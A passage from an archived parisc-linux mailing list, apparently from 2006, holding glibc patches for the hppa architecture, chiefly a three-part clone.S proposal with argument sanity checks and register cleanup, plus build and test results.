=0A    02111-1307 USA.  */=0A =0A+#include <stdarg.h>=0A #include <sysdep=
.h>=0A #include <errno.h>=0A =0A extern int __syscall_error(int err_no);=0A=
-extern int syscall (int sysnum, int arg0, int arg1, int arg2,=0A-		    i=
nt arg3, int arg4, int arg5);=0A+extern long int syscall (long int __sysn=
o, ...) __THROW;=0A =0A /* This routine is jumped to by all the syscall h=
andlers, to stash=0A    an error number into errno.  */=0A@@ -37,22 +37,3=
5 @@=0A    typically be in syscall.S. Also note that we have INLINE_SYSCA=
LL,=0A    INTERNAL_SYSCALL, and all the generated pure assembly syscall w=
rappers.=0A    How often the function is used is unknown. */=0A-int=0A-sy=
scall (int sysnum, int arg0, int arg1, int arg2, int arg3, int arg4,=0A-	=
 int arg5)=0A+=0A+long int =0A+syscall (long int __sysno, ...) =0A {=0A  =
 /* FIXME: Keep this matching INLINE_SYSCALL for hppa */=0A+  va_list arg=
s;=0A+  long int arg0, arg1, arg2, arg3, arg4, arg5;=0A   long int __sys_=
res;=0A+=0A+  /* Load varargs */=0A+  va_start (args, __sysno);=0A+  arg0=
 =3D va_arg (args, long int);=0A+  arg1 =3D va_arg (args, long int);=0A+ =
 arg2 =3D va_arg (args, long int);=0A+  arg3 =3D va_arg (args, long int);=
=0A+  arg4 =3D va_arg (args, long int);=0A+  arg5 =3D va_arg (args, long =
int);=0A+  va_end (args);=0A+  =0A   {=0A     register unsigned long int =
__res asm("r28");=0A     LOAD_ARGS_6 (arg0, arg1, arg2, arg3, arg4, arg5)=
=0A-    asm volatile (STW_ASM_PIC=0A-		  "	ble  0x100(%%sr2, %%r0)	\n"=0A=
-		  "	copy %1, %%r20		\n"=0A-		  LDW_ASM_PIC=0A+    asm volatile (SAVE_A=
SM_PIC=0A+		  "	ble		0x100(%%sr2, %%r0)	\n"=0A+		  "	copy		%1, %%r20		\n"=
=0A+		  LOAD_ASM_PIC=0A 		  : "=3Dr" (__res)=0A-		  : "r" (sysnum) ASM_AR=
GS_6=0A-		  : CALL_CLOB_REGS CLOB_ARGS_6);=0A+		  : "r" (__sysno) ASM_ARG=
S_6=0A+		  : "memory", CALL_CLOB_REGS CLOB_ARGS_6);=0A     __sys_res =3D =
__res;=0A   }=0A   if ((unsigned long int) __sys_res >=3D (unsigned long =
int) -4095)=0A@@ -62,3 +75,4 @@=0A     }=0A   return __sys_res;=0A }=0A+=0A=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A--- libc-orig/sysde=
ps/unix/sysv/linux/posix_fadvise.c	2003-08-16 20:36:22.000000000 -0400=0A=
+++ libc/sysdeps/unix/sysv/linux/posix_fadvise.c	2004-09-26 22:45:33.0000=
00000 -0400=0A@@ -35,6 +35,19 @@=0A     return INTERNAL_SYSCALL_ERRNO (re=
t, err);=0A   return 0;=0A #else=0A+# ifdef __NR_fadvise64_64=0A+  INTERN=
AL_SYSCALL_DECL (err);  =0A+  int ret =3D INTERNAL_SYSCALL (fadvise64_64,=
 err, 6, fd,=0A+			      __LONG_LONG_PAIR ((long) (offset >> 31),=0A+				=
		(long) offset),=0A+			      __LONG_LONG_PAIR ((long) (len >> 31),=0A+		=
				(long) len),=0A+			      advise);=0A+  if (INTERNAL_SYSCALL_ERROR_P (=
ret, err))=0A+    return INTERNAL_SYSCALL_ERRNO (ret, err);=0A+  return 0=
;=0A+# else=0A   return ENOSYS;=0A+# endif=0A #endif=0A }=0A--- glibc-2.3=
.5.old/sysdeps/hppa/dl-lookupcfg.h	2005-05-15 20:36:10.383193082 -0600=0A=
+++ glibc-2.3.5/sysdeps/hppa/dl-lookupcfg.h	2005-05-15 21:44:07.543952666=
 -0600=0A@@ -67,3 +69,15 @@=0A #define DL_DT_FINI_ADDRESS(map, addr) \=0A=
   ((Elf32_Addr)(addr) & 2 ? (addr) : DL_AUTO_FUNCTION_ADDRESS (map, addr=
))=0A =0A+/* The type of the return value of fixup/profile_fixup */=0A+#d=
efine DL_FIXUP_VALUE_TYPE struct fdesc=0A+=0A+/* Construct a fixup value =
from the address and linkmap */=0A+#define DL_FIXUP_MAKE_VALUE(map, addr)=
 \=0A+   ((struct fdesc) { (addr), (map)->l_info[DT_PLTGOT]->d_un.d_ptr }=
)=0A+=0A+/* Extract the code address from a fixup value */=0A+#define DL_=
FIXUP_VALUE_CODE_ADDR(value) ((value).ip)=0A+#define DL_FIXUP_VALUE_ADDR(=
value) ((uintptr_t) &(value))=0A+#define DL_FIXUP_ADDR_VALUE(addr) (*(str=
uct fdesc *) (addr))=0A+=0A
--_=__=_XaM3_.1143193977.2A.502342.42.20515.52.42.007.1138687764
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1143193977.2A.502342.42.20515.52.42.007.1138687764--



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa glibc clone() patch proposal (2/3)
Date: Fri, 24 Mar 2006 10:58:45 +0100
Lines: 204
Approved: news@gmane.org
Message-ID: <IWMMDX$A24E762190074040ED8D2FFC3A080C67@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1143194325.2A.148139.42.22441.52.42.007.782426930"
X-Trace: ger.gmane.org 1416624026 18626 80.91.229.3 (22 Nov 2014 02:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:26 +0000 (UTC)
To: "Kyle McMartin" <kyle@parisc-linux.org>,
 "Parisc List" <parisc-linux@lists.parisc-linux.org>,
 carlos@systemhalted.org,
 "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 09:58:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 24 Mar 2006 10:58:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 600327D71F;
	Fri, 24 Mar 2006 02:58:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18562-06; Fri, 24 Mar 2006 02:58:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F5787D725;
	Fri, 24 Mar 2006 02:58:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9018C7D719
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 02:58:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18571-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 02:58:48 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 4613C7D709
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 02:58:48 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id k2O9wic08340; 
	Fri, 24 Mar 2006 10:58:44 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0PQWdaQRbUko7+nGPWgndHJkZ2hlN4o+
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23483

--_=__=_XaM3_.1143194325.2A.148139.42.22441.52.42.007.782426930
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello Mike, pa*,

This 2d step is just tab/whitespace adjustment (beautify ;-) )

--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S.orig1      2006-03-2=
4
09:58:17.000000000 +0100
+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S    2006-03-24
10:09:12.000000000 +0100
@@ -47,78 +47,78 @@
 ENTRY(__clone)
 
        /* Save the fn ptr and arg on the new stack.  */
-       stwm    %r26,64(%r25)
-       stw     %r23,-60(%r25)
+       stwm            %arg0, 64(%arg1)
+       stw             %arg3, -60(%arg1)
        /* Clone arguments are (int flags, void * child_stack) */
-       copy    %r24,%r26       /* flags are first */
+       copy            %arg2, %arg0            /* flags are first */
        /* User stack pointer is in the correct register already */
 
        /* Load args from stack... */
-       ldw     -52(%sp), %r24  /* Load parent_tidptr */
-       ldw     -56(%sp), %r23  /* Load newtls */
-       ldw     -60(%sp), %r22  /* Load child_tidptr */
+       ldw             -52(%sp), %arg2         /* Load parent_tidptr */
+       ldw             -56(%sp), %arg3         /* Load newtls */
+       ldw             -60(%sp), %r22          /* Load child_tidptr */
 
        /* Create frame for function */
-       copy    %sp, %r21
-       stwm    %r3, 64(%sp)
-       stw     %r21, -4(%sp)
+       copy            %sp, %r21
+       stwm            %r3, 64(%sp)
+       stw             %r21, -4(%sp)
 
        /* Save the PIC register. */
 #ifdef PIC
-       copy    %r19, %r3               /* parent */
+       copy            %r19, %r3               /* parent */
 #endif
 
        /* Do the system call */
-       ble     0x100(%sr2,%r0)
-       ldi     __NR_clone,%r20
+       ble             0x100(%sr2, %r0)
+       ldi             __NR_clone, %r20
 
-       ldi     -4096,%r1
-       comclr,>>=3D %r1,%ret0,%r0        /* Note: unsigned compare. */
-       b,n     .Lerror
+       ldi             -4096, %r1
+       comclr,>>=3D      %r1, %ret0, %r0         /* Note: unsigned compa=
re. */
+       b,n             .Lerror
 
-       comib,=3D,n 0,%ret0,thread_start
+       comib,=3D,n       0, %ret0, thread_start
 
        /* Successful return from the parent
           No need to restore the PIC register, 
           since we return immediately. */
 
-       bv      %r0(%rp)
-       ldwm    -64(%sp), %r3
+       bv              %r0(%rp)
+       ldwm            -64(%sp), %r3
 
        /* Something bad happened -- no child created */
 .Lerror:
 
        /* Restore the PIC register on error */
 #ifdef PIC
-       copy    %r3, %r19               /* parent */ 
+       copy            %r3, %r19               /* parent */ 
 #endif
        /* Set errno */
-       copy    %ret0, %r3
-       b       __syscall_error
-       sub     %r0,%ret0,%arg0
-       copy    %r3, %ret0
+       copy            %ret0, %r3
+       b               __syscall_error
+       sub             %r0, %ret0, %arg0
+       copy            %r3, %ret0
        /* Return after setting errno */
-       bv      %r0(%rp)
-       ldwm    -64(%sp), %r3
+       bv              %r0(%rp)
+       ldwm            -64(%sp), %r3
 
 thread_start:
 
        /* Load up the arguments.  */
-       ldw     -60(%sr0, %sp),%arg0
-       ldw     -64(%sr0, %sp),%r22
+       ldw             -60(%sr0, %sp), %arg0
+       ldw             -64(%sr0, %sp), %r22
 
        /* $$dyncall fixes childs PIC register */
 
        /* Call the user's function */
-       bl      $$dyncall,%r31
-       copy    %r31,%rp
+       bl              $$dyncall, %r31
+       copy            %r31, %rp
 
-       bl      _exit,%rp
-       copy    %ret0,%arg0
+       bl              _exit, %rp
+       copy            %ret0, %arg0
 
        /* Die horribly.  */
-       iitlbp  %r0,(%sr0,%r0)
+       iitlbp          %r0, (%sr0, %r0)
 
 PSEUDO_END(__clone)
 
-weak_alias(__clone, clone)
+weak_alias (__clone, clone)
=3D=3D=3D=3D<>=3D=3D=3D=3D

(Ah yes also reuse older arg[123] notation)

Joel=0A=0A-------------------------------------------------------=0ANOTE!=
 My email address is changing to ... @scarlet.be=0APlease make the necess=
ary changes in your address book. =0A=0A
--_=__=_XaM3_.1143194325.2A.148139.42.22441.52.42.007.782426930
Content-Type: application/octet-stream;
	name="=?iso-8859-1?Q?clone.S.diff-2=5F3?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="=?iso-8859-1?Q?clone.S.diff-2=5F3?="

LS0tIGdsaWJjLTIuMy42L3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvY2xvbmUuUy5v
cmlnMQkyMDA2LTAzLTI0IDA5OjU4OjE3LjAwMDAwMDAwMCArMDEwMAorKysgZ2xpYmMtMi4z
LjYvc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9jbG9uZS5TCTIwMDYtMDMtMjQgMTA6
MDk6MTIuMDAwMDAwMDAwICswMTAwCkBAIC00Nyw3OCArNDcsNzggQEAKIEVOVFJZKF9fY2xv
bmUpCiAKIAkvKiBTYXZlIHRoZSBmbiBwdHIgYW5kIGFyZyBvbiB0aGUgbmV3IHN0YWNrLiAg
Ki8KLQlzdHdtICAgICVyMjYsNjQoJXIyNSkKLQlzdHcJJXIyMywtNjAoJXIyNSkKKwlzdHdt
CQklYXJnMCwgNjQoJWFyZzEpCisJc3R3CQklYXJnMywgLTYwKCVhcmcxKQogCS8qIENsb25l
IGFyZ3VtZW50cyBhcmUgKGludCBmbGFncywgdm9pZCAqIGNoaWxkX3N0YWNrKSAqLwotCWNv
cHkJJXIyNCwlcjI2CS8qIGZsYWdzIGFyZSBmaXJzdCAqLworCWNvcHkJCSVhcmcyLCAlYXJn
MAkJLyogZmxhZ3MgYXJlIGZpcnN0ICovCiAJLyogVXNlciBzdGFjayBwb2ludGVyIGlzIGlu
IHRoZSBjb3JyZWN0IHJlZ2lzdGVyIGFscmVhZHkgKi8KIAogCS8qIExvYWQgYXJncyBmcm9t
IHN0YWNrLi4uICovCi0JbGR3CS01Miglc3ApLCAlcjI0CS8qIExvYWQgcGFyZW50X3RpZHB0
ciAqLwotCWxkdwktNTYoJXNwKSwgJXIyMyAJLyogTG9hZCBuZXd0bHMgKi8KLQlsZHcJLTYw
KCVzcCksICVyMjIJLyogTG9hZCBjaGlsZF90aWRwdHIgKi8KKwlsZHcJCS01Miglc3ApLCAl
YXJnMgkJLyogTG9hZCBwYXJlbnRfdGlkcHRyICovCisJbGR3CQktNTYoJXNwKSwgJWFyZzMJ
CS8qIExvYWQgbmV3dGxzICovCisJbGR3CQktNjAoJXNwKSwgJXIyMgkJLyogTG9hZCBjaGls
ZF90aWRwdHIgKi8KIAogCS8qIENyZWF0ZSBmcmFtZSBmb3IgZnVuY3Rpb24gKi8KLQljb3B5
CSVzcCwgJXIyMQotCXN0d20JJXIzLCA2NCglc3ApCi0Jc3R3CSVyMjEsIC00KCVzcCkKKwlj
b3B5CQklc3AsICVyMjEKKwlzdHdtCQklcjMsIDY0KCVzcCkKKwlzdHcJCSVyMjEsIC00KCVz
cCkKIAogCS8qIFNhdmUgdGhlIFBJQyByZWdpc3Rlci4gKi8KICNpZmRlZiBQSUMKLQljb3B5
CSVyMTksICVyMwkJLyogcGFyZW50ICovCisJY29weQkJJXIxOSwgJXIzCQkvKiBwYXJlbnQg
Ki8KICNlbmRpZgogCiAJLyogRG8gdGhlIHN5c3RlbSBjYWxsICovCi0JYmxlICAgICAweDEw
MCglc3IyLCVyMCkKLQlsZGkJX19OUl9jbG9uZSwlcjIwCisJYmxlCQkweDEwMCglc3IyLCAl
cjApCisJbGRpCQlfX05SX2Nsb25lLCAlcjIwCiAKLQlsZGkJLTQwOTYsJXIxCi0JY29tY2xy
LD4+PSAlcjEsJXJldDAsJXIwCS8qIE5vdGU6IHVuc2lnbmVkIGNvbXBhcmUuICovCi0JYixu
CS5MZXJyb3IKKwlsZGkJCS00MDk2LCAlcjEKKwljb21jbHIsPj49CSVyMSwgJXJldDAsICVy
MAkJLyogTm90ZTogdW5zaWduZWQgY29tcGFyZS4gKi8KKwliLG4JCS5MZXJyb3IKIAotCWNv
bWliLD0sbiAwLCVyZXQwLHRocmVhZF9zdGFydAorCWNvbWliLD0sbgkwLCAlcmV0MCwgdGhy
ZWFkX3N0YXJ0CiAKIAkvKiBTdWNjZXNzZnVsIHJldHVybiBmcm9tIHRoZSBwYXJlbnQKIAkg
ICBObyBuZWVkIHRvIHJlc3RvcmUgdGhlIFBJQyByZWdpc3RlciwgCiAJICAgc2luY2Ugd2Ug
cmV0dXJuIGltbWVkaWF0ZWx5LiAqLwogCi0JYnYJJXIwKCVycCkKLQlsZHdtCS02NCglc3Ap
LCAlcjMKKwlidgkJJXIwKCVycCkKKwlsZHdtCQktNjQoJXNwKSwgJXIzCiAKIAkvKiBTb21l
dGhpbmcgYmFkIGhhcHBlbmVkIC0tIG5vIGNoaWxkIGNyZWF0ZWQgKi8KIC5MZXJyb3I6CiAK
IAkvKiBSZXN0b3JlIHRoZSBQSUMgcmVnaXN0ZXIgb24gZXJyb3IgKi8KICNpZmRlZiBQSUMK
LQljb3B5CSVyMywgJXIxOQkJLyogcGFyZW50ICovIAorCWNvcHkJCSVyMywgJXIxOQkJLyog
cGFyZW50ICovIAogI2VuZGlmCiAJLyogU2V0IGVycm5vICovCi0JY29weQklcmV0MCwgJXIz
Ci0JYglfX3N5c2NhbGxfZXJyb3IKLQlzdWIgICAgICVyMCwlcmV0MCwlYXJnMAotCWNvcHkJ
JXIzLCAlcmV0MAorCWNvcHkJCSVyZXQwLCAlcjMKKwliCQlfX3N5c2NhbGxfZXJyb3IKKwlz
dWIJCSVyMCwgJXJldDAsICVhcmcwCisJY29weQkJJXIzLCAlcmV0MAogCS8qIFJldHVybiBh
ZnRlciBzZXR0aW5nIGVycm5vICovCi0JYnYJJXIwKCVycCkKLQlsZHdtCS02NCglc3ApLCAl
cjMKKwlidgkJJXIwKCVycCkKKwlsZHdtCQktNjQoJXNwKSwgJXIzCiAKIHRocmVhZF9zdGFy
dDoKIAogCS8qIExvYWQgdXAgdGhlIGFyZ3VtZW50cy4gICovCi0JbGR3CS02MCglc3IwLCAl
c3ApLCVhcmcwCi0JbGR3ICAgICAtNjQoJXNyMCwgJXNwKSwlcjIyCisJbGR3CQktNjAoJXNy
MCwgJXNwKSwgJWFyZzAKKwlsZHcJCS02NCglc3IwLCAlc3ApLCAlcjIyCiAKIAkvKiAkJGR5
bmNhbGwgZml4ZXMgY2hpbGRzIFBJQyByZWdpc3RlciAqLwogCiAJLyogQ2FsbCB0aGUgdXNl
cidzIGZ1bmN0aW9uICovCi0JYmwJJCRkeW5jYWxsLCVyMzEKLQljb3B5CSVyMzEsJXJwCisJ
YmwJCSQkZHluY2FsbCwgJXIzMQorCWNvcHkJCSVyMzEsICVycAogCi0JYmwJX2V4aXQsJXJw
Ci0JY29weQklcmV0MCwlYXJnMAorCWJsCQlfZXhpdCwgJXJwCisJY29weQkJJXJldDAsICVh
cmcwCiAKIAkvKiBEaWUgaG9ycmlibHkuICAqLwotCWlpdGxicAklcjAsKCVzcjAsJXIwKQor
CWlpdGxicAkJJXIwLCAoJXNyMCwgJXIwKQogCiBQU0VVRE9fRU5EKF9fY2xvbmUpCiAKLXdl
YWtfYWxpYXMoX19jbG9uZSwgY2xvbmUpCit3ZWFrX2FsaWFzIChfX2Nsb25lLCBjbG9uZSkK

--_=__=_XaM3_.1143194325.2A.148139.42.22441.52.42.007.782426930
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1143194325.2A.148139.42.22441.52.42.007.782426930--



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa glibc clone() patch proposal (3/3)
Date: Fri, 24 Mar 2006 11:18:25 +0100
Lines: 180
Approved: news@gmane.org
Message-ID: <IWMNAP$23D07646E4F7FC13AA5E343EDFB71AEA@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624026 18628 80.91.229.3 (22 Nov 2014 02:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:26 +0000 (UTC)
To: "Kyle McMartin" <kyle@parisc-linux.org>,
 "Parisc List" <parisc-linux@lists.parisc-linux.org>,
 carlos@systemhalted.org,
 "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 10:18:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 24 Mar 2006 11:18:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A44B87D73E;
	Fri, 24 Mar 2006 03:18:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18883-05; Fri, 24 Mar 2006 03:18:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D1137D73F;
	Fri, 24 Mar 2006 03:18:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2A267D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 03:18:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18897-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 03:18:36 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 9B5D57D739
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 03:18:35 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id k2OAIPb30372; 
	Fri, 24 Mar 2006 11:18:25 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t/ARdeVRIyd18PqQe2draGxaa2FkZhVP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23484

Hello Mike, pa*,

And this last step is my actual fix proposal:

--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S.orig2      2006-03-2=
4
10:11:27.000000000 +0100
+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S    2006-03-24
10:13:12.000000000 +0100
@@ -45,6 +45,13 @@
 
         .text
 ENTRY(__clone)
+       /* this proto SAVE_RP: stw rp, -20(sp) */
+
+       /* Sanity check arguments.  */
+       comib,=3D         0, %arg0, .Larg_error   /* no NULL function poi=
nters */
+       ldi             -EINVAL, %ret0
+       comib,=3D         0, %arg1, .Larg_error   /* no NULL stack pointe=
rs */
+       nop
 
        /* Save the fn ptr and arg on the new stack.  */
        stwm            %arg0, 64(%arg1)
@@ -60,8 +67,8 @@
 
        /* Create frame for function */
        copy            %sp, %r21
+       stw             %r21, 60(%sp)
        stwm            %r3, 64(%sp)
-       stw             %r21, -4(%sp)
 
        /* Save the PIC register. */
 #ifdef PIC
@@ -94,13 +101,35 @@
 #endif
        /* Set errno */
        copy            %ret0, %r3
-       b               __syscall_error
+       bl              __syscall_error, %rp
        sub             %r0, %ret0, %arg0
        copy            %r3, %ret0
        /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
        bv              %r0(%rp)
        ldwm            -64(%sp), %r3
 
+.Larg_error:
+
+       /* Save arg0: the fn ptr.  */
+       stw             %arg0, -36(%sp)
+       /* Save the PIC register? */
+       stwm            %r3, 64(%sp)
+
+       /* Set errno */
+       copy            %ret0, %r3
+       bl              __syscall_error, %rp
+       sub             %r0, %ret0, %arg0
+
+       /* Restore arg0: the fn ptr.  */
+       ldw             -100(%sp), %arg0
+       /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
+       bv              %r0(%rp)
+       ldwm            -64(%sp), %r3
+
 thread_start:
 
        /* Load up the arguments.  */
=3D=3D=3D=3D<>=3D=3D=3D=3D

Description:
    1/ first hunk resurect the 'arg sanity check'
    2/ 2d is just of my taste ;-)
    3/ branching change was suggested to me by subsequent code added by C=
.
    4/ I did find yet a elegant way to merge the 2 .Lerror_ hunk

That said that bring me more questions then answer:
    1/ what's the role of this mistery r3? (comment in last hunk)
    2/ can I get rid of save/redtore of arg0?

Thanks for your attention,
    Joel

PS1: clone04 test on a chroot disk works fine:
# ./clone04
clone04     1  PASS  :  expected failure; Got EINVAL

PS2: already build 6 time kernel in a loop with 2.6.16-pa4 64bit on a b2k=


PS3: no regression versus debian stock pkg 2.3.6-4 :-)
 grep Err Glibc-2.6.3-4.builld.debian.org.txt
make[3]: ***
[/build/buildd/glibc-2.3.6/build-tree/hppa-libc/localedata/sort-test.out]=
 Error 1
make[2]: *** [localedata/tests] Error 2
make[3]: ***
[/build/buildd/glibc-2.3.6/build-tree/hppa-libc/math/test-float.out] Erro=
r 1
make[3]: ***
[/build/buildd/glibc-2.3.6/build-tree/hppa-libc/math/test-double.out] Err=
or 1
make[3]: ***
[/build/buildd/glibc-2.3.6/build-tree/hppa-libc/math/test-idouble.out] Er=
ror 1
make[2]: *** [math/tests] Error 2
make[3]: [/build/buildd/glibc-2.3.6/build-tree/hppa-libc/posix/annexc.out=
]
Error 1 (ignored)
make[3]: ***
[/build/buildd/glibc-2.3.6/build-tree/hppa-libc/posix/tst-rxspencer.out] =
Error 139
make[2]: *** [posix/tests] Error 2
make[3]: ***
[/build/buildd/glibc-2.3.6/build-tree/hppa-libc/linuxthreads/tst-attr1.ou=
t]
